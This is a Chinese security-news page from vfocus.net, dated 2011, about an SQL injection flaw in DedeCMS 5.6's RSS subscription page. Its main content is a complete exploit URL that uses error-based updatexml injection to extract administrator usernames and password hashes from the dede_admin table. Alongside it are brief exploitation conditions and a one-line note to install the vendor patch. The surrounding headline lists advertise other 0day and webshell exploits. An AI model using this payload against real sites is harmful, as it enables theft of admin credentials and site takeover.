首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置：主页>安全文章>文章资料>漏洞资料>文章内容
dedecms 5.6 RSS订阅页面注入漏洞及防范
来源：vfocus.net 作者：vfocus 发布时间：2011-06-27  
uploads/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%20CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23%27][0]=1
 
利用环境有点鸡肋：
 
GPC off
有updatexml函数
 
防范：官方已出安全补丁，请及时下载
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。
 §最新评论：
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网（DVBBS）Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码，常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·DeDecms xss 通杀0day 附getshel
·网奇CWMS企业网站管理系统3.0编
·Modoer 1.2.5 注入0day
·易通企业网站最新0DAY漏洞
·vBseo（百度推广）远程执行漏洞
·风讯 4.0之前所有版本通杀拿SHEL
·InnovaStudio WYSIWYG Editor 3.
·Discuz! X2 SQL注射漏洞，支持Un
·掏帝管理平台安全漏洞
·极速安康学校网站程序 v3.1.1 co
·某企业站系统SQL注入批量拿shell
·关于firefox的2个插件的漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved